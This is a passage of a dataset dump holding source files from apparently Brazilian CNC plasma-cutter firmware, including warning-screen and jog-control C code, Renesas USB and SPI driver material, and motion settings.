\",\n\t\t \" \",\n\t\t \" RISCO DE DANOS, \",\n\t\t \" ACIDENTES E MORTES.\",\n\t\t \" CUIDADO COM MÃOS \",\n\t\t \" E DEDOS. \",\n\t\t /* Page 4 */\n\t\t \" AVISO! \",\n\t\t \" \",\n\t\t \" AO MOVIMENTAR E \",\n\t\t \"CORTAR, AFASTE-SE DO\",\n\t\t \" CABECOTE E TOCHA \",\n\t\t \" PLASMA. \",\n\t\t /* Page 5 */\n\t\t \" AVISO! \",\n\t\t \" \",\n\t\t \" USE SEMPRE EPI E \",\n\t\t \" LEIA O MANUAL. \",\n\t\t \" \",\n\t\t \" \",\n\n};\n\n/**\n * Execute warning state.\n * It show a warning message to user.\n *\n * @param pContext Context object.\n * @return next state.\n */\nut_state ut_state_warning(ut_context* pContext)\n{\n\tuint32_t keyEntry = 0;\n\tuint8_t uiPage = 0, uiMsgRow = 0;\n\n\t/* Loop through messages */\n\tfor(uiPage = 0; uiPage < WARNING_PAGES; uiPage++)\n\t{\n\t\tut_lcd_clear();\n\n\t\t/* Write strings */\n\t\tfor(uiMsgRow = 0; uiMsgRow < MAX_ROW; uiMsgRow++)\n\t\t{\n\t\t\tut_lcd_drawStr(uiMsgRow, 0, gszWarningMsg[uiPage*MAX_ROW + uiMsgRow], false, ITEM_NO_MARKED,u8g_font_6x10);\n\t\t}\n\t\t/* Output */\n\t\tut_lcd_output_str();\n\n\t\t/* Delay */\n\t\tvTaskDelay(PAGE_DELAY / portTICK_PERIOD_MS);\n\t}\n\tut_lcd_output_warning(\"MODO DE EMERGENCIA\\nZERO MÁQUINA\\nNÃO REFERENCIADO\\n\");\n\tvTaskDelay(PAGE_DELAY / portTICK_PERIOD_MS);\n\tut_lcd_output_warning(\"ZERAR A MÁQUINA?\\nENTER = SIM\\nESC = NÃO\\n\");\n\twhile(keyEntry != KEY_ENTER && keyEntry != KEY_ESC){\n\t\txQueueReceive( qKeyboard, &keyEntry, portMAX_DELAY );\n\t}\n\tpl_emergencia_init();\n\tif(keyEntry == KEY_ENTER)\n\t{\n\t\tut_lcd_output_warning(\"DEVE ESTAR NOS\\nLIMITES FISICOS\\nX0 E Y0\\n\");\n\t\t/* Delay */\n\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\tconfigsVar->func_var = zerar_maquina;\n\t\tconfigsVar->type = UT_CONFIG_BOOL;\n\t\tconfigsVar->value = &zero_ask;\n\t\tconfigsVar->currentState = STATE_WARNING;\n\t\tconfigsVar->name = \"ZERAR A MÁQUINA?\";\n\t\tpContext->value[0] = STATE_MAIN_MENU;\n\t\tpContext->value[1] = STATE_MAIN_MENU;\n\t\treturn STATE_CONFIG_VAR;\n\t}\n\treturn STATE_MAIN_MENU;\n}\n" }, { "alpha_fraction": 0.6511842608451843, "alphanum_fraction": 0.6748692989349365, "avg_line_length": 18.230770111083984, "blob_id": "f1d419af8c8ca5071da93747e42d0e5364407c66", "content_id": "1c8788a29955e06f1ff6968da4c1c01472fbae00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3251, "license_type": "no_license", "max_line_length": 59, "num_lines": 169, "path": "/src/config/interpreter_jog_if.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * interpreter_jog_if.c\n *\n * Created on: 22/12/2015\n * Author: leocafonso\n */\n#include \"tinyg.h\"\n#include \"platform.h\"\n#include \"interpreter_if.h\"\n#include \"controller.h\"\n#include \"spindle.h\"\n#include \"macros.h\"\n#include \"plasma.h\"\n#include \"keyboard.h\"\n#include \"settings.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nstatic void iif_enter_jog(void);\nstatic void iif_esc_jog(void);\nstatic void iif_down_jog(void);\nstatic void iif_up_jog(void);\nstatic void iif_left_jog(void);\nstatic void iif_right_jog(void);\nstatic void iif_zdown_jog(void);\nstatic void iif_zup_jog(void);\nstatic void iif_released_jog(void);\n\nextern float *velocidadeJog;\nchar text[40];\nuint32_t JogkeyPressed;\n\nconst char jog_stopflush[]= \"\\\n!\\n\\\n%\";\nuint16_t xPress = 0;\nvoid timerJogScan (void *p_arg);\n\n\n\nvoid iif_enter_jog(void)\n{\n\tstatic bool torchEnable = false;\n\tif(!torchEnable)\n\t{\n\t//\tcm_spindle_control(SPINDLE_CW);\n\t//\tisCuttingSet(true);\n\t//\tpl_arcook_start();\n\t\tTORCH = TRUE;\n\t\ttorchEnable = true;\n\t}\n\telse\n\t{\n\t//\tcm_spindle_control(SPINDLE_OFF);\n\t//\tisCuttingSet(false);\n\t//\tpl_arcook_stop();\n\t\tTORCH = FALSE;\n\t\ttorchEnable = false;\n\t}\n}\n\nvoid iif_esc_jog(void)\n{\n\tpl_arcook_stop();\n\tdelay_thcStartStop(false);\n\tif (timerIif == 3)\n\t{\n\t\tR_CMT_Stop(timerIif);\n\t}\n\tTORCH = FALSE;\n\tcm_request_feedhold();\n\tcm_request_queue_flush();\n\twhile(cm.feedhold_requested == true)\n\t{\n\n\t}\n\tiif_bind_idle();\n\tJogkeyPressed = 0;\n\tmacro_func_ptr = command_idle;\n}\n\nvoid iif_down_jog(void) {\n\tjogMaxDistance[AXIS_Y] = -100000;\n\tmacro_func_ptr = jog_Macro;\n//\tR_CMT_CreatePeriodic(20,timerJogInitCallback,&timerIif);\n}\nvoid iif_up_jog(void) {\n\tjogMaxDistance[AXIS_Y] = 100000;\n\tmacro_func_ptr = jog_Macro;\n//\tR_CMT_CreatePeriodic(20,timerJogInitCallback,&timerIif);\n}\nvoid iif_left_jog(void){\n\tjogMaxDistance[AXIS_X] = -100000;\n\tmacro_func_ptr = jog_Macro;\n//\tR_CMT_CreatePeriodic(20,timerJogInitCallback,&timerIif);\n}\n\nvoid iif_right_jog(void) {\n\tjogMaxDistance[AXIS_X] = 100000;\n\tmacro_func_ptr = jog_Macro;\n//\tR_CMT_CreatePeriodic(20,timerJogInitCallback,&timerIif);\n}\n\nvoid iif_zdown_jog(void){\n\tif (JogkeyPressed == KEY_Z_DOWN)\n\t{\n\t\tjogMaxDistance[AXIS_Z] = -100000;\n\t\tmacro_func_ptr = jog_Macro;\n\t}\n\telse\n\t{\n\t\tzmove = -0.01;\n\t}\n}\n\nvoid iif_zup_jog(void) {\n\tif (JogkeyPressed == KEY_Z_UP)\n\t{\n\t\tjogMaxDistance[AXIS_Z] = 100000;\n\t\tmacro_func_ptr = jog_Macro;\n\t}\n\telse\n\t{\n\t\tzmove = 0.01;\n\t}\n}\n\nvoid iif_released_jog(void) {\n\n\tcm_request_feedhold();\n\tcm_request_queue_flush();\n\t//macro_func_ptr = _command_dispatch;\n\txPress = 0;\n//\tif (timerIif == 3)\n//\t{\n//\t\tR_CMT_Stop(timerIif);\n//\t}\n}\n\nvoid iif_bind_jog(void)\n{\n\tJogkeyPressed = 0;\n\txPress = 0;\n\tstate = 0;\n\tR_CMT_CreatePeriodic(20,timerJogScan,&timerIif);\n\tjogMaxDistance[AXIS_X] = 0;\n\tjogMaxDistance[AXIS_Y] = 0;\n\tjogMaxDistance[AXIS_Z] = 0;\n\tmacro_func_ptr = jog_Macro;\n\tiif_func_enter = &iif_enter_jog;\n\tiif_func_esc = &iif_esc_jog;\n\tiif_func_down = &iif_down_jog;\n\tiif_func_up = &iif_up_jog;\n\tiif_func_left = &iif_left_jog;\n\tiif_func_right = &iif_right_jog;\n\tiif_func_zdown = &iif_zdown_jog;\n\tiif_func_zup = &iif_zup_jog;\n\tiif_func_released = &iif_released_jog;\n\tiif_func_cycleStop = &iif_idle;\n}\n\nvoid timerJogScan (void *p_arg)\n{\n\tif(configFlags[MODOMAQUINA] == MODO_PLASMA){\n\t\tpl_thc_read();\n\t}\n}\n\n" }, { "alpha_fraction": 0.5609204173088074, "alphanum_fraction": 0.5903235077857971, "avg_line_length": 50.100502014160156, "blob_id": "72d56de7d36ec8e8dc64407a4b7437a128434b09", "content_id": "0b334574891a9c2c142d6753b511300f1694ee3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10169, "license_type": "no_license", "max_line_length": 120, "num_lines": 199, "path": "/r_usb_basic/r_usb_basic_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_basic_if.h\n* Description : Interface file for USB basic API for RX\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n#ifndef _USB_BASIC_H\n#define _USB_BASIC_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Used to get which MCU is currently being used. */\n#include \"platform.h\"\n/* User specific options for Flash API */\n#include \"r_usb_basic_config.h\"\n\n#include \"r_usb_ctypedef.h\"\n#include \"r_usb_cdefusbip.h\"\n#include \"r_usb_cextern.h\"\n#include \"r_usb_ckernelid.h\"\n#include \"r_usb_cmacprint.h\"\n#include \"r_usb_cmacsystemcall.h\"\n#include \"r_usb_cusb_bitdefine.h\"\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Version Number of API. */\n#define USB_VERSION_MAJOR (0)\n#define USB_VERSION_MINOR (90)\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\ntypedef enum e_usb_err_t\n{\n USB_SUCCESS = 0, \n USB_ERR_OPENED, /* USB was initialized already */\n USB_ERR_NOT_OPEN, /* USB module is not initialized yet */\n USB_ERR_INVALID_ARG, /* Arguments are invalid */\n USB_ERR_NULL_PTR, /* Argument pointers are NULL */\n USB_ERR_BUSY, /* The USB resources is locked by another process */\n} usb_err_t;\n\ntypedef enum e_usb_ip /* USB IP type */\n{\n USB_IP0 = 0,\n USB_IP1 = 1,\n} usb_ip_t;\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n******************************************************************************/\n//uint8_t R_USBHS_Open(uint32_t channel);\n\nuint32_t R_USB_GetVersion(void);\nusb_err_t R_USB_Open( usb_ip_t ip_type );\nusb_err_t R_USB_Close( usb_ip_t ip_type );\n\n\n/* USB API (Host) */\nuint16_t R_usb_hstd_allocatePipe(USB_UTR_t *ptr, uint16_t type);\nvoid R_usb_hstd_freePipe(USB_UTR_t *ptr, uint8_t pipeno);\nUSB_ER_t R_usb_hstd_EnumGetDescriptor(USB_UTR_t *ptr, uint8_t addr, uint8_t cnt_value, USB_CB_t complete);\nUSB_ER_t R_usb_hstd_MgrEnumSetConfiguration(USB_UTR_t *ptr, uint8_t devadr, uint8_t config_val, USB_CB_t complete);\nUSB_ER_t R_usb_hstd_TransferStart(USB_UTR_t *utr_table);\nUSB_ER_t R_usb_hstd_SetPipeRegistration(USB_UTR_t *ptr, uint16_t *table, uint16_t pipe);\nUSB_ER_t R_usb_hstd_TransferEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status);\nUSB_ER_t R_usb_hstd_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t member);\nUSB_ER_t R_usb_hstd_MgrOpen(USB_UTR_t *ptr);\nUSB_ER_t R_usb_hstd_MgrClose(void);\nvoid R_usb_hstd_DriverRegistration(USB_UTR_t *ptr, USB_HCDREG_t *callback);\nvoid R_usb_hstd_DriverRelease(USB_UTR_t *ptr, uint8_t devclass);\nuint16_t R_usb_hstd_ChkPipeInfo(uint16_t speed, uint16_t *EpTbl, uint8_t *Descriptor);\nvoid R_usb_hstd_SetPipeInfo(uint16_t *dst_ep_tbl, uint16_t *src_ep_tbl, uint16_t length);\nvoid R_usb_hstd_DeviceInformation(USB_UTR_t *ptr, uint16_t addr, uint16_t *tbl);\nvoid R_usb_hstd_ReturnEnuMGR(USB_UTR_t *ptr, uint16_t cls_result);\nvoid R_usb_hstd_EnuWait(USB_UTR_t *ptr, uint8_t taskID);\nuint16_t R_usb_hstd_DetachControl(uint16_t port);\n\nUSB_ER_t R_usb_hstd_HcdOpen(USB_UTR_t *ptr);\nUSB_ER_t R_usb_hstd_HcdClose(void);\n\n/* USB API (Peripheral) */\nuint16_t R_usb_pstd_ControlRead(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table);\nvoid R_usb_pstd_ControlWrite(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table);\nvoid R_usb_pstd_ControlEnd(USB_UTR_t *ptr, uint16_t status);\nUSB_ER_t R_usb_pstd_PcdOpen(USB_UTR_t *ptr);\nUSB_ER_t R_usb_pstd_PcdClose(USB_UTR_t *ptr);\nUSB_ER_t R_usb_pstd_TransferStart(USB_UTR_t *ptr);\nUSB_ER_t R_usb_pstd_TransferEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status);\nUSB_ER_t R_usb_pstd_ChangeDeviceState(USB_UTR_t *ptr, uint16_t state, uint16_t port_no, USB_CB_t complete);\nvoid R_usb_pstd_DeviceInformation(USB_UTR_t *ptr, uint16_t *tbl);\nvoid R_usb_pstd_DriverRegistration(USB_UTR_t *ptr, USB_PCDREG_t *callback);\nvoid R_usb_pstd_DriverRelease(void);\nvoid R_usb_pstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t PipeNo, uint16_t *tbl);\nvoid R_usb_pstd_SetPipeStall(USB_UTR_t *ptr, uint16_t pipeno);\nvoid R_usb_pstd_usbdriver_start( USB_UTR_t *ptr );\n\n/* USB API (Other) */\nvoid R_usb_cstd_ClearHwFunction(USB_UTR_t *ptr);\nvoid R_usb_cstd_UsbIpInit( USB_UTR_t *ptr, uint16_t usb_mode );\nuint8_t R_usb_cstd_CheckSchedule(void);\nvoid R_usb_ScheInit( void );\nUSB_REGADR_t R_usb_cstd_GetUsbIpAdr( uint16_t ipno );\nvoid R_usb_cstd_UsbIpInit( USB_UTR_t *ptr, uint16_t usb_mode );\nvoid R_usb_cstd_SetRegDvstctr0( USB_UTR_t *ptr, uint16_t val );\nvoid R_usb_cstd_SetRegPipeCtr( USB_UTR_t *ptr, uint16_t pipeno, uint16_t val );\nvoid R_usb_cstd_SetBuf(USB_UTR_t *ptr, uint16_t pipe);\n\n\n\nvoid R_usb_hhub_Open(USB_UTR_t *ptr, uint16_t devaddr, uint16_t data2);\nvoid R_usb_hhub_Close(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t data2);\nvoid R_usb_hhub_Registration(USB_UTR_t *ptr, USB_HCDREG_t *callback);\nUSB_ER_t R_usb_hhub_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t devaddr);\nuint16_t R_usb_hhub_GetHubInformation(USB_UTR_t *ptr, uint16_t hubaddr, USB_CB_t complete);\nuint16_t R_usb_hhub_GetPortInformation(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port, USB_CB_t complete);\n\nuint16_t R_usb_hhub_get_hub_addr(USB_UTR_t *ptr, uint16_t devadr);\nuint16_t R_usb_hhub_get_hub_port_no(USB_UTR_t *ptr, uint16_t devadr);\nuint16_t R_usb_hhub_chk_connect_status(USB_UTR_t *ptr, uint16_t hub_adr);\n\nvoid R_usb_pstd_PcdTask(USB_VP_INT_t);\nvoid R_usb_hhub_Task(USB_VP_INT_t);\nvoid R_usb_hstd_MgrTask(USB_VP_INT_t);\nvoid R_usb_hstd_HcdTask(USB_VP_INT_t);\nvoid R_usb_hstd_HubRegistAll(USB_UTR_t *ptr);\n\n/* for NonOS Scheduler */\nUSB_ER_t R_usb_cstd_RecMsg( uint8_t id, USB_MSG_t** mess, USB_TM_t tm );\nUSB_ER_t R_usb_cstd_SndMsg( uint8_t id, USB_MSG_t* mess );\nUSB_ER_t R_usb_cstd_iSndMsg( uint8_t id, USB_MSG_t* mess );\nUSB_ER_t R_usb_cstd_WaiMsg( uint8_t id, USB_MSG_t* mess, USB_TM_t tm );\nUSB_ER_t R_usb_cstd_PgetBlk( uint8_t id, USB_UTR_t** blk );\nUSB_ER_t R_usb_cstd_RelBlk( uint8_t id, USB_UTR_t* blk );\nvoid R_usb_cstd_Scheduler(void);\nvoid R_usb_cstd_SetTaskPri(uint8_t tasknum, uint8_t pri);\n\nvoid R_usb_cstd_debug_hook(uint16_t error_code);\n\n/******************************************************************************\nMacro definitions (Debug hook)\n******************************************************************************/\n/* Error discrimination */\n#define USB_DEBUG_HOOK_HWR 0x0100\n#define USB_DEBUG_HOOK_HOST 0x0200\n#define USB_DEBUG_HOOK_PERI 0x0400\n#define USB_DEBUG_HOOK_STD 0x0800\n#define USB_DEBUG_HOOK_CLASS 0x1000\n#define USB_DEBUG_HOOK_APL 0x2000\n\n/* Error Code */\n#define USB_DEBUG_HOOK_CODE1 0x0001\n#define USB_DEBUG_HOOK_CODE2 0x0002\n#define USB_DEBUG_HOOK_CODE3 0x0003\n#define USB_DEBUG_HOOK_CODE4 0x0004\n#define USB_DEBUG_HOOK_CODE5 0x0005\n#define USB_DEBUG_HOOK_CODE6 0x0006\n#define USB_DEBUG_HOOK_CODE7 0x0007\n#define USB_DEBUG_HOOK_CODE8 0x0008\n#define USB_DEBUG_HOOK_CODE9 0x0009\n#define USB_DEBUG_HOOK_CODE10 0x000A\n#define USB_DEBUG_HOOK_CODE11 0x000B\n#define USB_DEBUG_HOOK_CODE12 0x000C\n#define USB_DEBUG_HOOK_CODE13 0x000D\n#define USB_DEBUG_HOOK_CODE14 0x000E\n#define USB_DEBUG_HOOK_CODE15 0x000F\n\n#ifdef USB_DEBUG_HOOK_USE\n #define USB_DEBUG_HOOK(x) R_usb_cstd_debug_hook(x)\n#else\n #define USB_DEBUG_HOOK(x)\n#endif\n\n#endif /* _USB_BASIC_H */\n" }, { "alpha_fraction": 0.6055004596710205, "alphanum_fraction": 0.6456266641616821, "avg_line_length": 37.18965530395508, "blob_id": "c477f6d7e01ee94acfd0c11f66c4ecac43832f2b", "content_id": "0520430970a98bc29f2caa39d60d721fa7eff66b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2218, "license_type": "no_license", "max_line_length": 123, "num_lines": 58, "path": "/src/cnc/settings/settings_compacta.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * settings_compacta.h */\n\n/***********************************************************************/\n/**** compacta profile ********************************************/\n/***********************************************************************/\n\n// ***> NOTE: The init message must be a single line with no CRs or LFs\n#define INIT_MESSAGE \"Initializing configs to Shapeoko2 500mm profile\"\n\n#define JUNCTION_DEVIATION_CP\t\t0.2// default value, in mm - smaller is faster\n#define JUNCTION_ACCELERATION_CP\t160000\t// 2 million - centripetal acceleration around corners\n\n// *** motor settings ***\n#define M1_MOTOR_MAP_CP\t\t\t\tAXIS_Z\n#define M1_TRAVEL_PER_REV_RETA_CP\t3\n#define M1_TRAVEL_PER_REV_HELI_CP\t3\n#define M1_MICROSTEPS_CP\t\t\t64\n#define M1_POLARITY_CP\t\t\t\t0\n\n#define M2_MOTOR_MAP_CP\t\t\t\tAXIS_Y // Y1 - left side of machine\n#define M2_TRAVEL_PER_REV_RETA_CP\tCREM_RETA\n#define M2_TRAVEL_PER_REV_HELI_CP\tCREM_HELI\n#define M2_MICROSTEPS_CP\t\t\t64\n#define M2_POLARITY_CP\t\t\t\t0\n\n#define M3_MOTOR_MAP_CP\t\t\t\tAXIS_X // X2 - right sif of machine\n#define M3_TRAVEL_PER_REV_RETA_CP\tCREM_RETA\n#define M3_TRAVEL_PER_REV_HELI_CP\tCREM_HELI\n#define M3_MICROSTEPS_CP\t\t\t64\n#define M3_POLARITY_CP\t\t\t\t1\n\n#define M4_MOTOR_MAP_CP\t\t\t\tAXIS_X\n#define M4_TRAVEL_PER_REV_RETA_CP\tCREM_RETA\n#define M4_TRAVEL_PER_REV_HELI_CP\tCREM_HELI\n#define M4_MICROSTEPS_CP\t\t\t64\n#define M4_POLARITY_CP\t\t\t\t0\n\n#define Z_STEP_PULSE_CP \t\t\t(M1_TRAVEL_PER_REV_CP*M1_STEP_ANGLE)/(360*M1_MICROSTEPS_CP)\n// *** axis settings ***\n\n// These are relative conservative values for a well-tuned Shapeoko2 or similar XY belt / Z screw machine\n#define X_VELOCITY_MAX_CP\t\t\t10000\n#define X_FEEDRATE_MAX_CP\t\t\tY_VELOCITY_MAX_CP\n#define X_JERK_MAX_CP\t\t\t\t1000\n#define X_JUNCTION_DEVIATION_CP\t\tJUNCTION_DEVIATION_CP\n\n#define Y_VELOCITY_MAX_CP\t\t\t10000\n#define Y_FEEDRATE_MAX_CP\t\t\tY_VELOCITY_MAX\n#define Y_JERK_MAX_CP\t\t\t\t1000\n#define Y_JUNCTION_DEVIATION_CP\t\tJUNCTION_DEVIATION_CP\n\n\n#define Z_VELOCITY_MAX_CP\t\t\t900\n#define Z_FEEDRATE_MAX_CP\t\t\tZ_VELOCITY_MAX_CP\n // value must be large enough to guarantee return to Zmax during homing\n#define Z_JERK_MAX_CP\t\t\t\t6000\t\t\t\t\t// 50,000,000\n#define Z_JUNCTION_DEVIATION_CP\t\tJUNCTION_DEVIATION_CP\n\n\n\n" }, { "alpha_fraction": 0.5870535969734192, "alphanum_fraction": 0.6584821343421936, "avg_line_length": 19.363636016845703, "blob_id": "9c9da195987fad7f2ec3a49571bf1fa424410ba2", "content_id": "0b19486303863d74baa73c542927adcdc5becdbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 448, "license_type": "no_license", "max_line_length": 55, "num_lines": 22, "path": "/spiffs/spiffs_hw.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * spiffs_hw.h\n *\n * Created on: Jul 25, 2016\n * Author: LAfonso01\n */\n\n#ifndef SPIFFS_SPIFFS_HW_H_\n#define SPIFFS_SPIFFS_HW_H_\n#include \"spiffs.h\"\n#include \"spiflash.h\"\n\ns32_t spiffs_init(void);\ns32_t spiffs_format(void);\ns32_t spi_mem_read(u32_t addr, u32_t size, u8_t *dst);\ns32_t spi_mem_write(u32_t addr, u32_t size, u8_t *src);\ns32_t spi_mem_erase(u32_t addr, u32_t size);\n\nextern spiflash_t spif;\n\n\n#endif /* SPIFFS_SPIFFS_HW_H_ */\n" }, { "alpha_fraction": 0.6843543648719788, "alphanum_fraction": 0.7121384739875793, "avg_line_length": 33.55118179321289, "blob_id": "7519e9584d818fcf50f5136e6b19d9368d8c2e06", "content_id": "e4e51865d4b060d1c2008f61d1bfc541fa656f4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 4395, "license_type": "no_license", "max_line_length": 120, "num_lines": 127, "path": "/r_rspi_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE, \"r01an1827eu0110_rx.pdf\", FOR MORE INFORMATION\n\nr_rspi_rx\n=========\n\nDocument Number \n---------------\nR01AN1827EU0120\n\nVersion\n-------\nv1.20\n\nOverview\n--------\nThis software provides an applications programing interface (API) to prepare the RSPI peripheral for operation and for\nperforming data transfers over the SPI bus.\nThe RSPI Driver module fits between the user application and the physical hardware to take care of the low-level\nhardware control tasks that manage the RSPI peripheral.\nIt is recommended to review the RSPI peripheral chapter in the RX MCU hardware user�s manual before using this\nsoftware.\n\nFeatures\n--------\nThis driver supports the following subset of the features available with the RSPI peripheral.\nRSPI transfer functions:\n * Use of MOSI (master out/slave in), MISO (master in/slave out), SSL (slave select), and RSPCK (RSPI\n clock) signals allows serial communications through SPI operation (four-wire method) or clock\n synchronous operation (three-wire method).\n * Capable of serial communications in master/slave mode\n * Switching of the polarity of the serial transfer clock\n * Switching of the phase of the serial transfer clock\nData format:\n * MSB-first/LSB-first selectable\n * Transfer bit length is selectable as 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 24, or 32 bits.\nBit rate:\n * In master mode, the on-chip baud rate generator generates RSPCK by frequency-dividing PCLK\n (Division ratio: 2 to 4096).\n * In slave mode, the externally input clock is used as the serial clock (the maximum frequency is that of\n PCLK divided by 8).\nError detection:\n * Mode fault error detection\n * Overrun error detection\n * Parity error detection\nSSL control function:\n * Four SSL signals (SSLn0 to SSLn3) for each channel\n * In single-master mode: SSLn0 to SSLn3 signals are output.\n * In slave mode: SSLn0 signal for input, selects the RSPI slave. SSLn1 to SSLn3 signals are unused.\n * Controllable delay from SSL output assertion to RSPCK operation (RSPCK delay)\nRange: 1 to 8 RSPCK cycles (set in RSPCK-cycle units)\n * Controllable delay from RSPCK stop to SSL output negation (SSL negation delay)\nRange: 1 to 8 RSPCK cycles (set in RSPCK-cycle units)\n * Controllable wait for next-access SSL output assertion (next-access delay)\nRange: 1 to 8 RSPCK cycles (set in RSPCK-cycle units)\n * Able to change SSL polarity\nControl in master transfer:\n * For each transfer operation, the following can be set:\n Slave select number, further division of base bit rate, SPI clock polarity/phase, transfer data bit-length,\nMSB/LSB-first, burst (holding SSL), SPI clock delay, slave select negation delay, and next-access delay\nInterrupt sources:\n * RSPI receive interrupt (receive buffer full)\n * RSPI transmit interrupt (transmit buffer empty)\n * RSPI error interrupt (mode fault, overrun, parity error).\n\nSupported/Tested MCUs\n--------------\n* RX63N\n* RX62N\n* RX210\n* RX110\n* RX111\n\nBoards Tested On\n----------------\n* RDKRX63N\n* RDKRX62N\n* RSKRX210\n* RSKRX110\n* RSKRX111\n\nLimitations\n-----------\n* Bit-rate performance depends on MCU speed\n\nPeripherals Used Directly\n-------------------------\n* None\n\nRequired Packages\n-----------------\n* r_bsp v2.30 or higher for RX63N, RX62N RX210, RX111\n* r_bsp v2.50 or higher for RX110\n\nHow to add to your project\n--------------------------\n* Add folder \"r_rspi_rx\\\" to your project.\n* Add \"r_rspi_rx\\src\\r_rspi_rx.c\" to your project.\n* Add \"r_rspi_rx\\src\\r_rspi_rx_if.h\" to your project.\n* Add \"r_rspi_rx\\src\\r_rspi_rx_private.h\" to your project.\n* Add \"r_rspi_rx\\src\\r_rspi_rx_defaults.h\" to your project.\n* Add an include path to the \"r_rspi_rx\" directory. \n* Add an include path to the \"r_rspi_rx\\src\\\" directory. \n\n* Copy the reference configuration file 'r_rspi_rx_config_reference.h' to your project and rename it r_rspi_rx_config.h.\n* Configure the RSPI module options for your system using the just copied r_rspi_rx_config.h.\n* Add a #include for r_rspi_rx_if.h to any source files that need to use the API functions.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\nFile Structure\n--------------\nr_rspi_rx\n| readme.txt\n| r_rspi_rx_if.h\n|\n+---doc\n| r01an1827eu0120_rx.pdf\n|\n+---ref\n| r_rspi_rx_config_reference.h\n|\n+---src\n| r_rspi_rx.c\n| r_rspi_rx_private.h\n| r_rspi_rx_defaults.h\n\n\n\n" }, { "alpha_fraction": 0.46209457516670227, "alphanum_fraction": 0.47996786236763, "avg_line_length": 43.85135269165039, "blob_id": "a13b5955263b73c5929ebe8633fd5b52db49ab9f", "content_id": "9cf131cdf0ed54266d3c41ea8d60062775399272", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9959, "license_type": "no_license", "max_line_length": 105, "num_lines": 222, "path": "/r_flash_loader_rx/src/r_fl_utilities.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, 